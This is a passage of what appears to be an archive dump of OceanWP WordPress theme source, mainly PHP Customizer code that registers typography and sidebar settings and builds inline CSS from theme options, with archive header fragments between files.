body.single-sfwd-courses.content-both-sidebars.ssc-style .content-area{left:' . $bs_course_sidebars_width * 2 . '%;} }'; } } // LearnDash Both Sidebars - Lesson. if ( 'both-sidebars' === $ld_lesson_layout ) { // Both Sidebars layout ld Lesson page content width. if ( ! empty( $bs_lesson_content_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.single-sfwd-lessons.content-both-sidebars .content-area, body.single-sfwd-topic.content-both-sidebars .content-area {width: ' . $bs_lesson_content_width . '%;} body.single-sfwd-lessons.content-both-sidebars.scs-style .widget-area.sidebar-secondary, body.single-sfwd-lessons.content-both-sidebars.ssc-style .widget-area, body.single-sfwd-topic.content-both-sidebars.scs-style .widget-area.sidebar-secondary, body.single-sfwd-topic.content-both-sidebars.ssc-style .widget-area {left: -' . $bs_lesson_content_width . '%;} }'; } // Both Sidebars layout ld Lesson sidebars width. if ( ! empty( $bs_lesson_sidebars_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.single-sfwd-lessons.content-both-sidebars .widget-area, body.single-sfwd-topic.content-both-sidebars .widget-area{width:' . $bs_lesson_sidebars_width . '%;} body.single-sfwd-lessons.content-both-sidebars.scs-style .content-area, body.single-sfwd-topic.content-both-sidebars.scs-style .content-area{left:' . $bs_lesson_sidebars_width . '%;} body.single-sfwd-lessons.content-both-sidebars.ssc-style .content-area, body.single-sfwd-topic.content-both-sidebars.ssc-style .content-area{left:' . $bs_lesson_sidebars_width * 2 . '%;} }'; } } // Return CSS. if ( ! empty( $css ) ) { $output .= '/* LearnDash CSS */' . $css; } // Return output css. return $output; } } endif; return new OceanWP_LearnDash_Customizer(); customizer/settings/typography.php000064400000104145151551031110013525 0ustar00 array( 'label' => esc_html__( 'Body', 'oceanwp' ), 'target' => 'body', 'defaults' => array( 'font-size' => '14px', 'color' => '#929292', 'line-height' => '1.8', ), ), 'headings' => array( 'label' => esc_html__( 'All Headings', 'oceanwp' ), 'target' => 'h1,h2,h3,h4,h5,h6,.theme-heading,.widget-title,.oceanwp-widget-recent-posts-title,.comment-reply-title,.entry-title,.sidebar-box .widget-title', 'exclude' => array( 'font-size' ), 'defaults' => array( 'color' => '#333333', 'line-height' => '1.4', ), ), 'heading_h1' => array( 'label' => esc_html__( 'Heading 1 (H1)', 'oceanwp' ), 'target' => 'h1', 'defaults' => array( 'font-size' => '23px', 'color' => '#333333', 'line-height' => '1.4', ), ), 'heading_h2' => array( 'label' => esc_html__( 'Heading 2 (H2)', 'oceanwp' ), 'target' => 'h2', 'defaults' => array( 'font-size' => '20px', 'color' => '#333333', 'line-height' => '1.4', ), ), 'heading_h3' => array( 'label' => esc_html__( 'Heading 3 (H3)', 'oceanwp' ), 'target' => 'h3', 'defaults' => array( 'font-size' => '18px', 'color' => '#333333', 'line-height' => '1.4', ), ), 'heading_h4' => array( 'label' => esc_html__( 'Heading 4 (H4)', 'oceanwp' ), 'target' => 'h4', 'defaults' => array( 'font-size' => '17px', 'color' => '#333333', 'line-height' => '1.4', ), ), 'logo' => array( 'label' => esc_html__( 'Logo', 'oceanwp' ), 'target' => '#site-logo a.site-logo-text', 'exclude' => array( 'font-color' ), 'defaults' => array( 'font-size' => '24px', 'line-height' => '1.8', ), ), 'top_menu' => array( 'label' => esc_html__( 'Top Bar', 'oceanwp' ), 'target' => '#top-bar-content,#top-bar-social-alt', 'exclude' => array( 'font-color' ), 'defaults' => array( 'font-size' => '12px', 'line-height' => '1.8', ), 'active_callback' => 'oceanwp_cac_has_topbar', ), 'menu' => array( 'label' => esc_html__( 'Main Menu', 'oceanwp' ), 'target' => '#site-navigation-wrap .dropdown-menu > li > a,#site-header.full_screen-header .fs-dropdown-menu > li > a,#site-header.top-header #site-navigation-wrap .dropdown-menu > li > a,#site-header.center-header #site-navigation-wrap .dropdown-menu > li > a,#site-header.medium-header #site-navigation-wrap .dropdown-menu > li > a,.oceanwp-mobile-menu-icon a', 'exclude' => array( 'font-color', 'line-height' ), 'defaults' => array( 'font-size' => '13px', 'letter-spacing' => '0.6', ), ), 'menu_dropdown' => array( 'label' => esc_html__( 'Main Menu: Dropdowns', 'oceanwp' ), 'target' => '.dropdown-menu ul li a.menu-link,#site-header.full_screen-header .fs-dropdown-menu ul.sub-menu li a', 'exclude' => array( 'font-color' ), 'defaults' => array( 'font-size' => '12px', 'line-height' => '1.2', 'letter-spacing' => '0.6', ), ), 'mobile_menu_dropdown' => array( 'label' => esc_html__( 'Mobile Menu', 'oceanwp' ), 'target' => '.sidr-class-dropdown-menu li a, a.sidr-class-toggle-sidr-close, #mobile-dropdown ul li a, body #mobile-fullscreen ul li a', 'exclude' => array( 'font-color' ), 'defaults' => array( 'font-size' => '15px', 'line-height' => '1.8', ), ), 'page_title' => array( 'label' => esc_html__( 'Page Title', 'oceanwp' ), 'target' => '.page-header .page-header-title, .page-header.background-image-page-header .page-header-title', 'exclude' => array( 'font-color' ), 'defaults' => array( 'font-size' => '32px', 'line-height' => '1.4', ), 'active_callback' => 'oceanwp_cac_has_page_header', ), 'page_subheading' => array( 'label' => esc_html__( 'Page Title Subheading', 'oceanwp' ), 'target' => '.page-header .page-subheading', 'defaults' => array( 'font-size' => '15px', 'color' => '#929292', 'line-height' => '1.8', ), 'active_callback' => 'oceanwp_cac_has_page_header', ), 'breadcrumbs' => array( 'label' => esc_html__( 'Breadcrumbs', 'oceanwp' ), 'target' => '.site-breadcrumbs', 'exclude' => array( 'font-color', 'line-height' ), 'defaults' => array( 'font-size' => '13px', ), 'active_callback' => 'oceanwp_cac_has_breadcrumbs', ), 'blog_entry_title' => array( 'label' => esc_html__( 'Blog Entry Title', 'oceanwp' ), 'target' => '.blog-entry.post .blog-entry-header .entry-title a', 'defaults' => array( 'font-size' => '24px', 'color' => '#333333', 'line-height' => '1.4', ), ), 'blog_post_title' => array( 'label' => esc_html__( 'Blog Post Title', 'oceanwp' ), 'target' => '.single-post .entry-title', 'defaults' => array( 'font-size' => '34px', 'color' => '#333333', 'line-height' => '1.4', 'letter-spacing' => '0.6', ), ), 'single_post_title' => array( 'label' => esc_html__( 'Blog Post Title Heading', 'oceanwp' ), 'target' => '.ocean-single-post-header .single-post-title', 'defaults' => array( 'font-size' => '34px', 'color' => '#333333', 'line-height' => '1.4', 'letter-spacing' => '0.6', ), 'active_callback' => 'oceanwp_cac_hasnt_default_post_header_style', ), 'single_post_meta' => array( 'label' => esc_html__( 'Blog Post Title Meta', 'oceanwp' ), 'target' => '.ocean-single-post-header ul.meta-item li, .ocean-single-post-header ul.meta-item li a', 'defaults' => array( 'font-size' => '13px', 'color' => '#333333', 'line-height' => '1.4', 'letter-spacing' => '0.6', ), 'active_callback' => 'oceanwp_cac_hasnt_default_post_header_style', ), 'single_post_title_author' => array( 'label' => esc_html__( 'Blog Post Title Author', 'oceanwp' ), 'target' => '.ocean-single-post-header .post-author-name, .ocean-single-post-header .post-author-name a', 'defaults' => array( 'font-size' => '14px', 'color' => '#333333', 'line-height' => '1.4', 'letter-spacing' => '0.6', ), 'active_callback' => 'oceanwp_cac_hasnt_default_post_header_style', ), 'single_post_title_author_bio' => array( 'label' => esc_html__( 'Blog Post Title Author Bio', 'oceanwp' ), 'target' => '.ocean-single-post-header .post-author-description', 'defaults' => array( 'font-size' => '12px', 'color' => '#333333', 'line-height' => '1.4', 'letter-spacing' => '0.6', ), 'active_callback' => 'oceanwp_cac_hasnt_default_post_header_style', ), 'sidebar_widget_title' => array( 'label' => esc_html__( 'Sidebar Widget Heading', 'oceanwp' ), 'target' => '.sidebar-box .widget-title', 'defaults' => array( 'font-size' => '13px', 'color' => '#333333', 'line-height' => '1', 'letter-spacing' => '1', ), ), 'widgets' => array( 'label' => esc_html__( 'Widgets', 'oceanwp' ), 'target' => '.sidebar-box, .footer-box', ), 'footer_widget_title' => array( 'label' => esc_html__( 'Footer Widget Heading', 'oceanwp' ), 'target' => '#footer-widgets .footer-box .widget-title', 'defaults' => array( 'font-size' => '13px', 'color' => '#ffffff', 'line-height' => '1', 'letter-spacing' => '1', ), 'active_callback' => 'oceanwp_cac_has_footer_widgets', ), 'copyright' => array( 'label' => esc_html__( 'Footer Copyright', 'oceanwp' ), 'target' => '#footer-bottom #copyright', 'exclude' => array( 'font-color' ), 'defaults' => array( 'font-size' => '12px', 'line-height' => '1', ), 'active_callback' => 'oceanwp_cac_has_footer_bottom', ), 'footer_menu' => array( 'label' => esc_html__( 'Footer Menu', 'oceanwp' ), 'target' => '#footer-bottom #footer-bottom-menu', 'exclude' => array( 'font-color' ), 'defaults' => array( 'font-size' => '12px', 'line-height' => '1', ), 'active_callback' => 'oceanwp_cac_has_footer_bottom', ), ) ); } /** * Customizer options * * @since 1.0.0 */ public function customizer_options( $wp_customize ) { // Get elements $elements = self::elements(); // Return if elements are empty if ( empty( $elements ) ) { return; } // Panel $wp_customize->add_panel( 'ocean_typography_panel', array( 'title' => esc_html__( 'Typography', 'oceanwp' ), 'priority' => 210, ) ); /** * Section */ $wp_customize->add_section( 'ocean_typography_general', array( 'title' => esc_html__( 'General', 'oceanwp' ), 'priority' => 1, 'panel' => 'ocean_typography_panel', ) ); /** * Disable Google Fonts */ $wp_customize->add_setting( 'ocean_disable_google_font', array( 'transport' => 'postMessage', 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_disable_google_font', array( 'label' => esc_html__( 'Disable Google Fonts', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_typography_general', 'settings' => 'ocean_disable_google_font', 'priority' => 10, ) ) ); $wp_customize->add_setting( 'ocean_local_google_font', array( 'transport' => 'postMessage', 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); if ( class_exists( 'Ocean_Extra' ) ) { $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_local_google_font', array( 'label' => esc_html__( 'Google Fonts from Site', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_typography_general', 'settings' => 'ocean_local_google_font', 'priority' => 10, ) ) ); if ( did_action( 'elementor/loaded' ) ) { $wp_customize->add_setting( 'ocean_local_elementor_google_font', array( 'transport' => 'postMessage', 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_local_elementor_google_font', array( 'label' => esc_html__( 'Elementor Google Fonts from Site', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_typography_general', 'settings' => 'ocean_local_elementor_google_font', 'priority' => 10, ) ) ); } $wp_customize->add_setting( 'ocean_preload_local_google_font', array( 'transport' => 'postMessage', 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_preload_local_google_font', array( 'label' => esc_html__( 'Preload Local Google Fonts', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_typography_general', 'settings' => 'ocean_preload_local_google_font', 'priority' => 10, ) ) ); $wp_customize->add_setting( 'ocean_local_google_font_format', array( 'default' => 'ttf', 'type' => 'theme_mod', 'sanitize_callback' => 'oceanwp_sanitize_select', 'transport' => 'postMessage', ) ); $wp_customize->add_control( 'ocean_local_google_font_format', array( 'label' => esc_html__( 'Font Format', 'oceanwp' ), 'description' => '', 'section' => 'ocean_typography_general', 'settings' => 'ocean_local_google_font_format', 'type' => 'select', 'choices' => array( 'ttf' => esc_html__( 'ttf', 'oceanwp' ), 'woff' => esc_html__( 'woff', 'oceanwp' ), 'woff2' => esc_html__( 'woff2', 'oceanwp' ), ), ) ); } /** * Font Subsets */ $wp_customize->add_setting( 'ocean_google_font_subsets', array( 'default' => array( 'latin' ), 'sanitize_callback' => 'oceanwp_sanitize_multicheck', ) ); $wp_customize->add_control( new OceanWP_Customize_Multicheck_Control( $wp_customize, 'ocean_google_font_subsets', array( 'label' => esc_html__( 'Font Subsets', 'oceanwp' ), 'section' => 'ocean_typography_general', 'settings' => 'ocean_google_font_subsets', 'priority' => 10, 'choices' => array( 'latin' => 'latin', 'latin-ext' => 'latin-ext', 'cyrillic' => 'cyrillic', 'cyrillic-ext' => 'cyrillic-ext', 'greek' => 'greek', 'greek-ext' => 'greek-ext', 'vietnamese' => 'vietnamese', ), ) ) ); // Lopp through elements $count = '1'; foreach ( $elements as $element => $array ) { $count++; // Get label $label = ! empty( $array['label'] ) ? $array['label'] : null; $exclude_attributes = ! empty( $array['exclude'] ) ? $array['exclude'] : false; $active_callback = isset( $array['active_callback'] ) ? $array['active_callback'] : null; $transport = 'postMessage'; // Get attributes if ( ! empty( $array['attributes'] ) ) { $attributes = $array['attributes']; } else { $attributes = array( 'font-family', 'font-weight', 'font-style', 'text-transform', 'font-size', 'line-height', 'letter-spacing', 'font-color', ); } // Set keys equal to vals $attributes = array_combine( $attributes, $attributes ); // Exclude attributes for specific options if ( $exclude_attributes ) { foreach ( $exclude_attributes as $key => $val ) { unset( $attributes[ $val ] ); } } // Register new setting if label isn't empty if ( $label ) { /** * Section */ $wp_customize->add_section( 'ocean_typography_' . $element, array( 'title' => $label, 'priority' => $count, 'panel' => 'ocean_typography_panel', ) ); /** * Font Family */ if ( in_array( 'font-family', $attributes ) ) { $wp_customize->add_setting( $element . '_typography[font-family]', array( 'type' => 'theme_mod', 'transport' => $transport, 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control( new OceanWP_Customizer_Typography_Control( $wp_customize, $element . '_typography[font-family]', array( 'label' => esc_html__( 'Font Family', 'oceanwp' ), 'section' => 'ocean_typography_' . $element, 'settings' => $element . '_typography[font-family]', 'priority' => 10, 'type' => 'dropdown_select2', 'active_callback' => $active_callback, ) ) ); } /** * Font Weight */ if ( in_array( 'font-weight', $attributes ) ) { $wp_customize->add_setting( $element . '_typography[font-weight]', array( 'type' => 'theme_mod', 'sanitize_callback' => 'oceanwp_sanitize_select', 'transport' => $transport, ) ); $wp_customize->add_control( $element . '_typography[font-weight]', array( 'label' => esc_html__( 'Font Weight', 'oceanwp' ), 'description' => esc_html__( 'Important: Not all fonts support every font-weight.', 'oceanwp' ), 'section' => 'ocean_typography_' . $element, 'settings' => $element . '_typography[font-weight]', 'priority' => 10, 'type' => 'select', 'active_callback' => $active_callback, 'choices' => array( '' => esc_html__( 'Default', 'oceanwp' ), '100' => esc_html__( 'Thin: 100', 'oceanwp' ), '200' => esc_html__( 'Light: 200', 'oceanwp' ), '300' => esc_html__( 'Book: 300', 'oceanwp' ), '400' => esc_html__( 'Normal: 400', 'oceanwp' ), '500' => esc_html__( 'Medium: 500', 'oceanwp' ), '600' => esc_html__( 'Semibold: 600', 'oceanwp' ), '700' => esc_html__( 'Bold: 700', 'oceanwp' ), '800' => esc_html__( 'Extra Bold: 800', 'oceanwp' ), '900' => esc_html__( 'Black: 900', 'oceanwp' ), ), ) ); } /** * Font Style */ if ( in_array( 'font-style', $attributes ) ) { $wp_customize->add_setting( $element . '_typography[font-style]', array( 'type' => 'theme_mod', 'sanitize_callback' => 'oceanwp_sanitize_select', 'transport' => $transport, ) ); $wp_customize->add_control( $element . '_typography[font-style]', array( 'label' => esc_html__( 'Font Style', 'oceanwp' ), 'section' => 'ocean_typography_' . $element, 'settings' => $element . '_typography[font-style]', 'priority' => 10, 'type' => 'select', 'active_callback' => $active_callback, 'choices' => array( '' => esc_html__( 'Default', 'oceanwp' ), 'normal' => esc_html__( 'Normal', 'oceanwp' ), 'italic' => esc_html__( 'Italic', 'oceanwp' ), ), ) ); } /** * Text Transform */ if ( in_array( 'text-transform', $attributes ) ) { $wp_customize->add_setting( $element . '_typography[text-transform]', array( 'type' => 'theme_mod', 'sanitize_callback' => 'oceanwp_sanitize_select', 'transport' => $transport, ) ); $wp_customize->add_control( $element . '_typography[text-transform]', array( 'label' => esc_html__( 'Text Transform', 'oceanwp' ), 'section' => 'ocean_typography_' . $element, 'settings' => $element . '_typography[text-transform]', 'priority' => 10, 'type' => 'select', 'active_callback' => $active_callback, 'choices' => array( '' => esc_html__( 'Default', 'oceanwp' ), 'capitalize' => esc_html__( 'Capitalize', 'oceanwp' ), 'lowercase' => esc_html__( 'Lowercase', 'oceanwp' ), 'uppercase' => esc_html__( 'Uppercase', 'oceanwp' ), 'none' => esc_html__( 'None', 'oceanwp' ), ), ) ); } /** * Font Size */ if ( in_array( 'font-size', $attributes ) ) { // Get default $default = ! empty( $array['defaults']['font-size'] ) ? $array['defaults']['font-size'] : null; $wp_customize->add_setting( $element . '_typography[font-size]', array( 'type' => 'theme_mod', 'sanitize_callback' => 'sanitize_text_field', 'transport' => $transport, 'default' => $default, ) ); $wp_customize->add_setting( $element . '_tablet_typography[font-size]', array( 'transport' => $transport, 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_setting( $element . '_mobile_typography[font-size]', array( 'transport' => $transport, 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control( new OceanWP_Customizer_Text_Control( $wp_customize, $element . '_typography[font-size]', array( 'label' => esc_html__( 'Font Size', 'oceanwp' ), 'description' => esc_html__( 'You can add: px-em-%', 'oceanwp' ), 'section' => 'ocean_typography_' . $element, 'settings' => array( 'desktop' => $element . '_typography[font-size]', 'tablet' => $element . '_tablet_typography[font-size]', 'mobile' => $element . '_mobile_typography[font-size]', ), 'priority' => 10, 'active_callback' => $active_callback, ) ) ); } /** * Line Height */ if ( in_array( 'line-height', $attributes ) ) { // Get default $default = ! empty( $array['defaults']['line-height'] ) ? $array['defaults']['line-height'] : null; $wp_customize->add_setting( $element . '_typography[line-height]', array( 'type' => 'theme_mod', 'sanitize_callback' => 'oceanwp_sanitize_number', 'transport' => $transport, 'default' => $default, ) ); $wp_customize->add_setting( $element . '_tablet_typography[line-height]', array( 'transport' => $transport, 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( $element . '_mobile_typography[line-height]', array( 'transport' => $transport, 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Slider_Control( $wp_customize, $element . '_typography[line-height]', array( 'label' => esc_html__( 'Line Height', 'oceanwp' ), 'section' => 'ocean_typography_' . $element, 'settings' => array( 'desktop' => $element . '_typography[line-height]', 'tablet' => $element . '_tablet_typography[line-height]', 'mobile' => $element . '_mobile_typography[line-height]', ), 'priority' => 10, 'active_callback' => $active_callback, 'input_attrs' => array( 'min' => 0, 'max' => 4, 'step' => 0.1, ), ) ) ); } /** * Letter Spacing */ if ( in_array( 'letter-spacing', $attributes ) ) { // Get default $default = ! empty( $array['defaults']['letter-spacing'] ) ? $array['defaults']['letter-spacing'] : null; $wp_customize->add_setting( $element . '_typography[letter-spacing]', array( 'type' => 'theme_mod', 'sanitize_callback' => 'oceanwp_sanitize_number', 'transport' => $transport, 'default' => $default, ) ); $wp_customize->add_setting( $element . '_tablet_typography[letter-spacing]', array( 'transport' => $transport, 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( $element . '_mobile_typography[letter-spacing]', array( 'transport' => $transport, 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Slider_Control( $wp_customize, $element . '_typography[letter-spacing]', array( 'label' => esc_html__( 'Letter Spacing (px)', 'oceanwp' ), 'section' => 'ocean_typography_' . $element, 'settings' => array( 'desktop' => $element . '_typography[letter-spacing]', 'tablet' => $element . '_tablet_typography[letter-spacing]', 'mobile' => $element . '_mobile_typography[letter-spacing]', ), 'priority' => 10, 'active_callback' => $active_callback, 'input_attrs' => array( 'min' => 0, 'max' => 10, 'step' => 0.1, ), ) ) ); } /** * Font Color */ if ( in_array( 'font-color', $attributes ) ) { // Get default $default = ! empty( $array['defaults']['color'] ) ? $array['defaults']['color'] : null; $wp_customize->add_setting( $element . '_typography[color]', array( 'type' => 'theme_mod', 'default' => '', 'sanitize_callback' => 'oceanwp_sanitize_color', 'transport' => $transport, 'default' => $default, ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, $element . '_typography[color]', array( 'label' => esc_html__( 'Font Color', 'oceanwp' ), 'section' => 'ocean_typography_' . $element, 'settings' => $element . '_typography[color]', 'priority' => 10, 'active_callback' => $active_callback, ) ) ); } } } } /** * Loads js file for customizer preview * * @since 1.0.0 */ public function customize_preview_init() { wp_enqueue_script( 'oceanwp-typography-customize-preview', OCEANWP_INC_DIR_URI . 'customizer/assets/js/typography-customize-preview.min.js', array( 'customize-preview' ), OCEANWP_THEME_VERSION, true ); wp_localize_script( 'oceanwp-typography-customize-preview', 'oceanwpTG', array( 'googleFontsUrl' => '//fonts.googleapis.com', 'googleFontsWeight' => '100,100i,200,200i,300,300i,400,400i,500,500i,600,600i,700,700i,800,800i,900,900i', ) ); if ( OCEANWP_WOOCOMMERCE_ACTIVE ) { wp_enqueue_script( 'oceanwp-woo-typography-customize-preview', OCEANWP_INC_DIR_URI . 'customizer/assets/js/woo-typography-customize-preview.min.js', array( 'customize-preview' ), OCEANWP_THEME_VERSION, true ); wp_localize_script( 'oceanwp-woo-typography-customize-preview', 'oceanwpTG', array( 'googleFontsUrl' => '//fonts.googleapis.com', 'googleFontsWeight' => '100,100i,200,200i,300,300i,400,400i,500,500i,600,600i,700,700i,800,800i,900,900i', ) ); } } /** * Loop through settings * * @since 1.0.0 */ public function loop( $return = 'css' ) { // Define Vars $css = ''; $fonts = array(); $elements = self::elements(); $preview_styles = array(); // Loop through each elements that need typography styling applied to them foreach ( $elements as $element => $array ) { // Add empty css var $add_css = ''; $tablet_css = ''; $mobile_css = ''; // Get target and current mod $target = isset( $array['target'] ) ? $array['target'] : ''; $get_mod = get_theme_mod( $element . '_typography' ); $tablet_get_mod = get_theme_mod( $element . '_tablet_typography' ); $mobile_get_mod = get_theme_mod( $element . '_mobile_typography' ); // Attributes to loop through if ( ! empty( $array['attributes'] ) ) { $attributes = $array['attributes']; } else { $attributes = array( 'font-family', 'font-weight', 'font-style', 'font-size', 'color', 'line-height', 'letter-spacing', 'text-transform', ); } // Loop through attributes foreach ( $attributes as $attribute ) { // Define val $default = isset( $array['defaults'][ $attribute ] ) ? $array['defaults'][ $attribute ] : null; $val = isset( $get_mod[ $attribute ] ) ? $get_mod[ $attribute ] : $default; $tablet_val = isset( $tablet_get_mod[ $attribute ] ) ? $tablet_get_mod[ $attribute ] : ''; $mobile_val = isset( $mobile_get_mod[ $attribute ] ) ? $mobile_get_mod[ $attribute ] : ''; // If there is a value lets do something if ( $val && $default != $val ) { // Sanitize $val = str_replace( '"', '', $val ); // Add px if font size or letter spacing $px = ''; if ( ( 'font-size' == $attribute && is_numeric( $val ) ) || 'letter-spacing' == $attribute ) { $px = 'px'; } // Add quotes around font-family && font family to scripts array if ( 'font-family' == $attribute ) { $fonts[] = $val; // No brackets can be added as it cause issue with sans serif fonts $val = $val; } // Add to inline CSS if ( 'css' == $return ) { $add_css .= $attribute . ':' . $val . $px . ';'; } // Customizer styles need to be added for each attribute elseif ( 'preview_styles' == $return ) { $preview_styles[ 'customizer-typography-' . $element . '-' . $attribute ] = $target . '{' . $attribute . ':' . $val . $px . ';}'; } } // If there is a value lets do something if ( $tablet_val && ( 'font-size' == $attribute || 'line-height' == $attribute || 'letter-spacing' == $attribute ) ) { // Sanitize $tablet_val = str_replace( '"', '', $tablet_val ); // Add px if font size or letter spacing $px = ''; if ( ( 'font-size' == $attribute && is_numeric( $tablet_val ) ) || 'letter-spacing' == $attribute ) { $px = 'px'; } // Add to inline CSS if ( 'css' == $return ) { $tablet_css .= $attribute . ':' . $tablet_val . $px . ';'; } // Customizer styles need to be added for each attribute elseif ( 'preview_styles' == $return ) { $preview_styles[ 'customizer-typography-' . $element . '-tablet-' . $attribute ] = '@media (max-width: 768px){' . $target . '{' . $attribute . ':' . $tablet_val . $px . ';}}'; } } // If there is a value lets do something if ( $mobile_val && ( 'font-size' == $attribute || 'line-height' == $attribute || 'letter-spacing' == $attribute ) ) { // Sanitize $mobile_val = str_replace( '"', '', $mobile_val ); // Add px if font size or letter spacing $px = ''; if ( ( 'font-size' == $attribute && is_numeric( $mobile_val ) ) || 'letter-spacing' == $attribute ) { $px = 'px'; } // Add to inline CSS if ( 'css' == $return ) { $mobile_css .= $attribute . ':' . $mobile_val . $px . ';'; } // Customizer styles need to be added for each attribute elseif ( 'preview_styles' == $return ) { $preview_styles[ 'customizer-typography-' . $element . '-mobile-' . $attribute ] = '@media (max-width: 480px){' . $target . '{' . $attribute . ':' . $mobile_val . $px . ';}}'; } } } // Front-end inline CSS if ( $add_css && 'css' == $return ) { $css .= $target . '{' . $add_css . '}'; } // Front-end inline tablet CSS if ( $tablet_css && 'css' == $return ) { $css .= '@media (max-width: 768px){' . $target . '{' . $tablet_css . '}}'; } // Front-end inline mobile CSS if ( $mobile_css && 'css' == $return ) { $css .= '@media (max-width: 480px){' . $target . '{' . $mobile_css . '}}'; } } // Return CSS if ( 'css' == $return && ! empty( $css ) ) { $css = '/* Typography CSS */' . $css; return $css; } // Return styles if ( 'preview_styles' == $return && ! empty( $preview_styles ) ) { return $preview_styles; } // Return Fonts Array if ( 'fonts' == $return && ! empty( $fonts ) ) { return array_unique( $fonts ); } } /** * Get CSS * * @since 1.0.0 */ public function head_css( $output ) { // Get CSS $typography_css = self::loop( 'css' ); // Loop css if ( $typography_css ) { $output .= $typography_css; } // Return output css return $output; } /** * Returns correct CSS to output to wp_head * * @since 1.0.0 */ public function live_preview_styles() { $live_preview_styles = self::loop( 'preview_styles' ); if ( $live_preview_styles ) { foreach ( $live_preview_styles as $key => $val ) { if ( ! empty( $val ) ) { echo ''; } } } } /** * Loads Google fonts * * @since 1.0.0 */ public function load_fonts() { // Get fonts $fonts = self::loop( 'fonts' ); // Loop through and enqueue fonts if ( ! empty( $fonts ) && is_array( $fonts ) ) { foreach ( $fonts as $font ) { oceanwp_enqueue_google_font( $font ); } } } } endif; return new OceanWP_Typography_Customizer(); customizer/settings/sidebar.php000064400000047531151551031110012735 0ustar00add_section( $section , array( 'title' => esc_html__( 'Sidebar', 'oceanwp' ), 'priority' => 210, ) ); /** * Sidebar Background */ $wp_customize->add_setting( 'ocean_sidebar_bg', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_sidebar_bg', array( 'label' => esc_html__( 'Background Color', 'oceanwp' ), 'section' => $section, 'settings' => 'ocean_sidebar_bg', 'priority' => 10, ) ) ); /** * Sidebar Padding */ $wp_customize->add_setting( 'ocean_sidebar_top_padding', array( 'transport' => 'postMessage', 'default' => '0', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_sidebar_right_padding', array( 'transport' => 'postMessage', 'default' => '0', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_sidebar_bottom_padding', array( 'transport' => 'postMessage', 'default' => '0', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_sidebar_left_padding', array( 'transport' => 'postMessage', 'default' => '30', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_sidebar_tablet_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_sidebar_tablet_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_sidebar_tablet_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_sidebar_tablet_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_sidebar_mobile_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_sidebar_mobile_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_sidebar_mobile_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_sidebar_mobile_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_sidebar_padding_dimensions', array( 'label' => esc_html__( 'Padding (px)', 'oceanwp' ), 'section' => $section, 'settings' => array( 'desktop_top' => 'ocean_sidebar_top_padding', 'desktop_right' => 'ocean_sidebar_right_padding', 'desktop_bottom' => 'ocean_sidebar_bottom_padding', 'desktop_left' => 'ocean_sidebar_left_padding', 'tablet_top' => 'ocean_sidebar_tablet_top_padding', 'tablet_right' => 'ocean_sidebar_tablet_right_padding', 'tablet_bottom' => 'ocean_sidebar_tablet_bottom_padding', 'tablet_left' => 'ocean_sidebar_tablet_left_padding', 'mobile_top' => 'ocean_sidebar_mobile_top_padding', 'mobile_right' => 'ocean_sidebar_mobile_right_padding', 'mobile_bottom' => 'ocean_sidebar_mobile_bottom_padding', 'mobile_left' => 'ocean_sidebar_mobile_left_padding', ), 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 500, 'step' => 1, ), ) ) ); /** * Widgets Heading */ $wp_customize->add_setting( 'ocean_widgets_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_widgets_heading', array( 'label' => esc_html__( 'Widgets', 